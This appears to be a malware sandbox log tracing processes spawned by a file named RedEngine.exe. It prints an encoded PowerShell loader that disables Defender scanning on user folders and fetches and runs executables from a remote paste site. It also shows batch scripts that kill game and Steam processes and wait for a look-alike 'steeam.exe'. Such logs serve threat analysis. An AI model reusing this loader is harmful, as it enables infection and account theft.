- - C:\Users\Admin\AppData\Roaming\h1jessfo.kil3.exe
    "C:\Users\Admin\AppData\Roaming\h1jessfo.kil3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2092
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\22DC.tmp\22DD.tmp\22DE.bat C:\Users\Admin\AppData\Roaming\h1jessfo.kil3.exe"
      4⤵
      PID:3316
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:2420
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4904

C:\Users\Admin\AppData\Local\Temp\Temp1_RedEngine.zip\RedEngine.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_RedEngine.zip\RedEngine.exe"
1⤵
PID:4984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2308
- - C:\Users\Admin\AppData\Roaming\mopebpra.il00.exe
    "C:\Users\Admin\AppData\Roaming\mopebpra.il00.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3440
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3710.tmp\3711.tmp\3712.bat C:\Users\Admin\AppData\Roaming\mopebpra.il00.exe"
      4⤵
      PID:2596
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1124
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:4192
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4532
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4988
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:1852
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:3504
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:3576
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:1888
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:4192
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:4532
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4880
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:2864
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        
        PID:5240
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5296
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:5304
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        
        PID:5512
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5572
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:5588
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        
        PID:5736
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5768
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:5776
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        
        PID:5876
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5904
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:5912
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        
        PID:5948
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5976
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:5984
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        
        PID:6100
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6128
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:6136
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        
        PID:1768
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:3000
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5188
    - - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        5⤵
        
        PID:2644
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        5⤵
        Kills process with taskkill
        
        PID:5428
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:5760
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        5⤵
        
        PID:5156
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5132
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4132
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5864
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4192
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5320
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5208
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5620
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5612
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5844
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5736
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5744
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5936
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6120
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6000
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6108
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5164
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5568
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5532
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5304
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5804
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5720
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5732
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4540
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:6136
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4860
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1616
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:880
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2752
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5664
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5580
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1356
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5136
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5408
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5876
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5624
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5544
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6468
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6520
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6560
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7128
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6528
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7044
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6512
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6024
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6364
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6928
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6504
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:6516
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6108
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4192
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5980
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:744
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6000
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5976
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6724
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6540
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5248
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5260
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6788
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6680
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6848
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5336
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:1004
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5252
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5604
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4540
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:868
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4044
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:624
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6472
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5244
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5892
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5696
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2084
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:800
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5692
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7016
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:2648
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:5604
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5612
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6332
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7064
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:744
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5344
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4944
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5848
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:4932
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5676
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7236
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7356
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7540
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:8168
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7588
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6408
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7260
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7480
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7876
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7304
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7992
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7248
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7980
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:5716
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:8080
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:8148
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7196
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7384
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7832
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7872
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6960
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7860
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7976
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7584
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:3380
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:6764
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:8056
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7664
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:6032
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7636
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:8180
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7232
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5212
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:8176
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:2924
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7744
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7128
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7512
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7468
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2424
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7896
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:3308
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7588
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:8112
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:8120
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:8076
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6428
